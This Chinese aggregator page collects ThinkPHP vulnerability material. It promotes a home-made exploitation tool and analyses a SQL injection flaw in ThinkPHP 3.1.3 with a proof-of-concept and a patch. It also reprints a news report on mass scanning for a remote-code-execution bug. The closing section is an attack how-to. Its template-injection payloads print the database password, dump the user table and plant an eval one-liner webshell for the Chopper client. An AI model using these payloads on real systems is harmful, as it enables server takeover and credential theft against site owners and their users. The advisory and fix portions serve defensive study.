thinkphp漏洞(thinkphp漏洞扫描)

http://www.itjxue.com  2023-02-22 03:03  来源:未知  点击次数: 

自制ThinkPHP漏洞利用工具

本人小白一枚,最近手痒难耐,用 Python + PyQt5 写了个 ThinkPHP漏洞利用工具 ,欢迎各位大佬试用并作出点评,谢谢。

百度网盘链接: 提取码:wyl5

下图为一个功能的演示:

ThinkPHP 1.5.0 漏洞求助

ThinkPHP 3.1.3及之前的版本存在一个SQL注入漏洞,漏洞存在于ThinkPHP/Lib/Core/Model.class.php 文件

根据官方文档对”防止SQL注入”的方法解释(见)

使用查询条件预处理可以防止SQL注入,没错,当使用如下代码时可以起到效果:

$Model-where(“id=%d and username=’%s’ and xx=’%f'”,array($id,$username,$xx))-select();

或者

$Model-where(“id=%d and username=’%s’ and xx=’%f'”,$id,$username,$xx)-select();

但是,当你使用如下代码时,却没有”防止SQL注入”效果(而官方文档却说可以防止SQL注入):

$model-query(‘select * from user where id=%d and status=%s’,$id,$status);

或者

$model-query(‘select * from user where id=%d and status=%s’,array($id,$status));

原因:

ThinkPHP/Lib/Core/Model.class.php 文件里的parseSql函数没有实现SQL过滤.

原函数:

protected function parseSql($sql,$parse) {

// 分析表达式

if(true === $parse) {

$options = $this-_parseOptions();

$sql = $this-db-parseSql($sql,$options);

}elseif(is_array($parse)){ // SQL预处理

$sql = vsprintf($sql,$parse);

}else{

$sql = strtr($sql,array(‘__TABLE__’=$this-getTableName(),’__PREFIX__’=C(‘DB_PREFIX’)));

}

$this-db-setModel($this-name);

return $sql;

}

验证漏洞(举例):

请求地址:

” or 1=”1

action代码:

$model=M(‘Peipeidui’);

$m=$model-query(‘select * from peipeidui where name=”%s”‘,$_GET[‘id’]);

dump($m);exit;

或者

$model=M(‘Peipeidui’);

$m=$model-query(‘select * from peipeidui where name=”%s”‘,array($_GET[‘id’]));

dump($m);exit;

结果:

表peipeidui所有数据被列出,SQL注入语句起效.

解决办法:

将parseSql函数修改为:

protected function parseSql($sql,$parse) {

// 分析表达式

if(true === $parse) {

$options = $this-_parseOptions();

$sql = $this-db-parseSql($sql,$options);

}elseif(is_array($parse)){ // SQL预处理

$parse = array_map(array($this-db,’escapeString’),$parse);//此行为新增代码

$sql = vsprintf($sql,$parse);

}else{

$sql = strtr($sql,array(‘__TABLE__’=$this-getTableName(),’__PREFIX__’=C(‘DB_PREFIX’)));

}

$this-db-setModel($this-name);

return $sql;

}

总结:

不要过分依赖TP的底层SQL过滤,程序员要做好安全检查

不建议直接用$_GET,$_POST

ThinkPHP开发框架曝安全漏洞,超过4.5万家中文网站受影响

据外媒ZDNet报道,近期有超过4.5万家中文网站被发现容易遭到来自黑客的攻击,而导致这一安全风险出现的根源仅仅是因为一个ThinkPHP漏洞。

报道称,有多家网络安全公司在近期都发现了针对运行着基于ThinkPHP的Web应用程序的服务器的扫描活动。ThinkPHP是一个快速、兼容而且简单的轻量级国产PHP开发框架,支持Windows/Unix/Linux等服务器环境,以及MySql、PgSQL、Sqlite多种数据库和PDO插件,在国内 Web 开发领域非常受欢迎。

另外,所有这些扫描活动都是在网络安全公司VulnSpy将一个ThinkPHP漏洞的概念验证代码(PoC)发布到ExploitDB网站上之后开始进行的。这里需要说明的是,ExploitDB是一家提供免费托管漏洞利用代码的热门网站。

VulnSpy公司发布的概念验证代码利用了一个存在于ThinkPHP开发框架invokeFunction 函数中的漏洞,以在底层服务器上执行任意代码。值得注意的是,这个漏洞可以被远程利用,且允许攻击者获得对服务器的完全控制权限。

“PoC是在12月11日发布的,我们在不到24小时之后就看到了相关的互联网扫描。” 网络安全公司Bad Packets LLC的联合创始人Troy Mursch告诉ZDNet。

随后,其他四家安全公司——F5 Labs、GreyNoise、NewSky Security和Trend Micro也报道了类似的扫描。并且,这些扫描在接下来的几天里一直呈上升趋势。

与此同时,开始利用这个ThinkPHP 漏洞来开展攻击活动的黑客组织也在不断增加。到目前为止,被确认的黑客组织至少包括:最初利用该漏洞的攻击者、一个被安全专家命名为“D3c3mb3r”的黑客组织、以及另一个利用该漏洞传播Miori IoT恶意软件的黑客组织。

由Trend Micro检测到的最后一组数据还表明,旨在传播Miori IoT恶意软件的黑客组织似乎想要利用该漏洞来入侵家用路由器和物联网设备的控制面板,因为Miori无法在实际的Linux服务器上正常运行。

此外,从NewSky Security检测到另一组扫描来看,攻击者试图在运行着基于ThinkPHP的Web应用程序的服务器上运行Microsoft Powershell命令。NewSky Security的首席安全研究员Ankit Anubhav告诉ZDNet,“这些Powershell命令看上去有些多余。实际上,攻击者拥有的一些代码完全可以用来检查操作系统的类型,并为不同的Linux服务器运行不同的漏洞利用代码,运行Powershell命令可能只是为了碰碰运气。”

事实上,最大规模扫描的发起者应该是上述被被安全专家命名为“D3c3mb3r”的黑客组织。但这个组织并没有做任何特别的事情。他们没有使用加密货币矿工或其他任何恶意软件来感染服务器。他们只是扫描易受攻击的服务器,然后运行一个基本的“echo hello d3c3mb3r”命令。

Ankit Anubhav告诉ZDNet:“我不确定他们的动机。”

根据Shodan搜索引擎的统计,目前有超过45800台运行着基于ThinkPHP的Web应用程序的服务器可在线访问。其中,有超过40000台托管在中国IP地址上。这主要是由于ThinkPHP的文档仅提供了中文版本,因此不太可能在国外被使用。这也是解释了为什么被认为易遭到攻击的网站大部分都是中文网站。

安全专家认为,随着越来越多的黑客组织了解到这种入侵 Web 服务器的方法,对中文网站的攻击也必然会有所增加。

此外,F5 Labs已经公布了有关这个ThinkPHP 漏洞的技术分析和POC的工作原理,大家可以通过点击这里进行查看。

本文由 黑客视界 综合网络整理,图片源自网络;转载请注明“转自黑客视界”,并附上链接。

thinkphp 怎么利用漏洞

1. 使用URL可以查看用户的数据库帐号密码DB_NAME,DB_PASS,DB_HOST

{@print(THINK_VERSION)}

{@print(C(‘’))}

{@print(C(‘DB_PASS’))}

2.使用模型D方法或者M方法,猜测后台帐号密码,当然首先要先猜一下用户的表名了

{@var_dump(D(user)-select())}

3.直接执行一句话代码,然后用菜刀直接连接.

{${eval($_POST[s])}} 一句话密码:s

(责任编辑:IT教学网)

更多

推荐CGI/Perl教程文章